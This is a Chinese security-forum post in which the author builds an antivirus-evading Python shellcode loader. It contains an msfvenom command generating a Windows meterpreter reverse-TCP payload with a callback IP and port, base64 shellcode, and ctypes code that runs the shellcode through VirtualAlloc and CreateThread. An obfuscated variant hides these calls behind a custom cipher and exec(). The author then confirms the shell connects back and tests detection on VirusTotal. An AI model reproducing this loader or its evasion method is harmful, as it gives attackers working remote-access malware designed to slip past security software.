问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
python自写加密免杀初尝试
安全工具
python入门简单,所以平常很多脚本都基于python开发,于是便有了尝试python免杀尝试。
### 起因 由于学校被封了,老是呆在学校很闲,于是前阵子写了个加密加密小工具,Eternal Love ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-63cc94c3c9296484f9f08d61f8f8a38dab0cfaff.png) 很可爱好吧,就说这加密有没有艺术细胞吧,于是,问题来了,这玩意儿不会中看不中用吧........ 很好,当你提出这个疑问说明你已经是卷王了,作为当代大好青年,除了每天挖挖漏洞,水水群,休闲时刻写了个撩妹辅助软件还得有实质作用? ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-19538cde6728bcfd4b6f8ddeb45326395ea15ee7.png) 简单说说这个加密吧,其实很简单,就是将输入的字符转ascii,再转八进制,然后准备一份'我喜欢你'的字符串,进行ascii转成数字,去重,将上面的八进制数据,根据上面的对应的数字获取索引值,将索引值保存到列表里,再进行三次与时间戳和cpu的异或,再将获取的数据与时间戳进行简单的运算,最终得到了一串数字,将这些数字与对于的符号进行替换,得到上面那种花里胡哨的玩意儿,听懂了吗? ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-77419d39b7c32b39708f0c1ad0eabe79d3a53f33.png) 抱歉,我的表述不太好,画个图简单的看看吧,咋们主要看的是思路..... ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-fd655c457abf5b9c8e57ccbb2df631e0fa740437.png) 解密的话就是反过来写一遍,逻辑还是比较简单的,根据如果想强行解密的话还是有点难度的吧.... 写完工具后,感觉很无趣啊,我又没有女朋友,要你有何用?于是加密shellcode和相关的函数想法就应运而生, 我将解密的方法封装成了一个类,供程序解密的时候调用 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-f055d7e7e43030900a3dbae9ff020c71b5c21459.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-cd55a7fa9011898b5561692904eb9ab005bec321.png) 部分代码如上,提供一下思路,代码什么的就自己写了,也不是很难,还可以加上自己喜欢的东西上去。 前面介绍了加密的方式,那么接下来就是进行免杀小实验了。 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-d5b7751fc9d201b7423dee51d60cb0c94ffa1151.png) 由于免杀什么的都是最近开始研究,所以没有从底层入手,shellcode入手免杀是最好的方法,但是发现网上公开的加载的shellcode的代码好像都失效了,而且感觉分离加载shllcode有些麻烦.....被骂,尽管我也用... ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-16b9cda29910a11f585095e309b8800293761a5a.png) 虽然菜,但是我有一颗积极向上的心,我们用msf生成base64加密的c的shellcode: `msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.132 lport=6666 --encrypt base64 -f c` 将生成的c代码去双引号,去换行,进行放加密函数里加密 这里看看没加密前的python的shellcode加密器代码: ```import import base64 s = '''\x2f\x4f\x69\x50\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x64\x4a \x6b\x69\x31\x49\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x4d\x66 \x2b\x4c\x63\x69\x67\x50\x74\x30\x6f\x6d\x4d\x63\x43\x73\x50 \x47\x46\x38\x41\x69\x77\x67\x77\x63\x38\x4e\x41\x63\x64\x4a \x64\x65\x39\x53\x56\x34\x74\x53\x45\x49\x74\x43\x50\x41\x48 \x51\x69\x30\x42\x34\x68\x63\x42\x30\x54\x41\x48\x51\x69\x31 \x67\x67\x41\x64\x4e\x51\x69\x30\x67\x59\x68\x63\x6c\x30\x50 \x44\x48\x2f\x53\x59\x73\x30\x69\x77\x48\x57\x4d\x63\x43\x73 \x77\x63\x38\x4e\x41\x63\x63\x34\x34\x48\x58\x30\x41\x33\x33 \x34\x4f\x33\x30\x6b\x64\x65\x42\x59\x69\x31\x67\x6b\x41\x64 \x4e\x6d\x69\x77\x78\x4c\x69\x31\x67\x63\x41\x64\x4f\x4c\x42 \x49\x73\x42\x30\x49\x6c\x45\x4a\x43\x52\x62\x57\x32\x46\x5a \x57\x6c\x48\x2f\x34\x46\x68\x66\x57\x6f\x73\x53\x36\x59\x44 \x2f\x2f\x2f\x39\x64\x61\x44\x4d\x79\x41\x41\x42\x6f\x64\x33 \x4d\x79\x58\x31\x52\x6f\x54\x48\x63\x6d\x42\x34\x6e\x6f\x2f \x39\x43\x34\x6b\x41\x45\x41\x41\x43\x6e\x45\x56\x46\x42\x6f \x4b\x59\x42\x72\x41\x50\x2f\x56\x61\x67\x70\x6f\x77\x4b\x67 \x42\x67\x32\x67\x43\x41\x42\x6f\x4b\x69\x65\x5a\x51\x55\x46 \x42\x51\x51\x46\x42\x41\x55\x47\x6a\x71\x44\x39\x2f\x67\x2f \x39\x57\x58\x61\x68\x42\x57\x56\x32\x69\x5a\x70\x58\x52\x68 \x2f\x39\x57\x46\x77\x48\x51\x4b\x2f\x30\x34\x49\x64\x65\x7a \x6f\x5a\x77\x41\x41\x41\x47\x6f\x41\x61\x67\x52\x57\x56\x32 \x67\x43\x32\x63\x68\x66\x2f\x39\x57\x44\x2b\x41\x42\x2b\x4e \x6f\x73\x32\x61\x6b\x42\x6f\x41\x42\x41\x41\x41\x46\x5a\x71 \x41\x47\x68\x59\x70\x46\x50\x6c\x2f\x39\x57\x54\x55\x32\x6f \x41\x56\x6c\x4e\x58\x61\x41\x4c\x5a\x79\x46\x2f\x2f\x31\x59 \x50\x34\x41\x48\x30\x6f\x57\x47\x67\x41\x51\x41\x41\x41\x61 \x67\x42\x51\x61\x41\x73\x76\x44\x7a\x44\x2f\x31\x56\x64\x6f \x64\x57\x35\x4e\x59\x66\x2f\x56\x58\x6c\x37\x2f\x44\x43\x51 \x50\x68\x58\x44\x2f\x2f\x2f\x2f\x70\x6d\x2f\x2f\x2f\x2f\x77 \x48\x44\x4b\x63\x5a\x31\x77\x63\x4f\x37\x38\x4c\x57\x69\x56 \x6d\x6f\x41\x55\x2f\x2f\x56 ''' shellcode = base64.b64decode(s) rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode)) handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(handle, -1) ``` 这里生成后肯定被杀的,那么我们在将其中部分敏感函数进行加密: ```\# import ctypes import base64 import em class MUMA(): def zx(self): log = ''' \_ \_ \_ \_ \_ \_ \_ (\_) | | | | | | | | (\_) \_\_ \_\_\_| |\_| |\_\_ \_\_\_ \_ \_\_ \_\_\_ \_\_| | | |\_ \_ \_| |\_ \_ \_\_ \\ \\ /\\ / / | \_\_| '\_ \\ / \_ \\ '\_\_/ \_ \\/ \_\` | | \_\_| | | | | | '\_ \\ \\ V V /| | |\_| | | | \_\_/ | | \_\_/ (\_| | | |\_| |\_| | | | |\_) | \\\_/\\\_/ |\_|\\\_\_|\_| |\_|\\\_\_\_|\_| \\\_\_\_|\\\_\_,\_| \\\_\_|\\\_\_,\_|\_|\_| .\_\_/ | | |\_| 百度说: 和郁金香待在一起约1-2个小时最有变化感觉到头晕目眩, 严重可导致植物中毒,过多的接触郁金香会使人的毛发逐渐脱落。 所以说郁金香是有毒的对吧? ''' print(log) sc = '?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????' cpuzy = '352' cpuzy = int(cpuzy) sjc = '1652436404' sjc = int(sjc) sl = em.EZH emdgs = sl.hysy(sc\=sc, cpuzy\=cpuzy, sjc\=sjc, self\='') ba = base64.b64decode(emdgs) shellcode = ba wm1 = '??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????' cpu\_x = int(3462) sjc\_x = int(1652439982) mm \= sl.hysy(sc\=wm1, cpuzy\=cpu\_x, sjc\=sjc\_x, self\='') rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40) app = '?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????' cpu\_l = int('9735') sjc\_l = int('1652439328') zx = sl.hysy(sc\=app, cpuzy\=cpu\_l, sjc\=sjc\_l, self\='') exec(zx) mw = '?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????' cpu\_ll = int(28248) sjc\_ll = int(1652439853) mmmm = sl.hysy(sc\=mw, cpuzy\=cpu\_ll, sjc\=sjc\_ll, self\='') handle \= ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0) exec(mmmm) def zxcx(self): app = MUMA() app.zx() if \_\_name\_\_ == '\_\_main\_\_': MUMA.zxcx(self\='') ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-322e18965258010b335c5c35df275e13702074d7.png) 上面那些爱心不知道为什么变成?????了,可能是编码原因, 上面那个em是我封装的解密代码 尝试是否可以上线: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-707e7c43196fdab614c7d0155cbbe3a1e75bad73.png) ok,没有问题,我们用pyinstaller打包,放vt测试一下免杀性 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-c0d4bc7c395813623986f7ed3e7b724c9ce22641.png) 个人感觉用python写的,pyinstaller打包免杀性应该还是可以的.... 各位师傅别骂,这个就单纯谈谈个人的思路。
发表于 2022-05-23 09:38:29
阅读 ( 5384 )
分类:
其他
0 推荐
收藏
2 条评论
孤岛一L
2022-06-21 00:23
师傅,能留一下联系方式吗,防火墙关了的情况下,我python的shellcode打包完运行不上线是什么原因呢
请先
登录
后评论
suansuan
2022-06-21 21:59
私信
请先
登录
后评论
请先
登录
后评论
suansuan
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!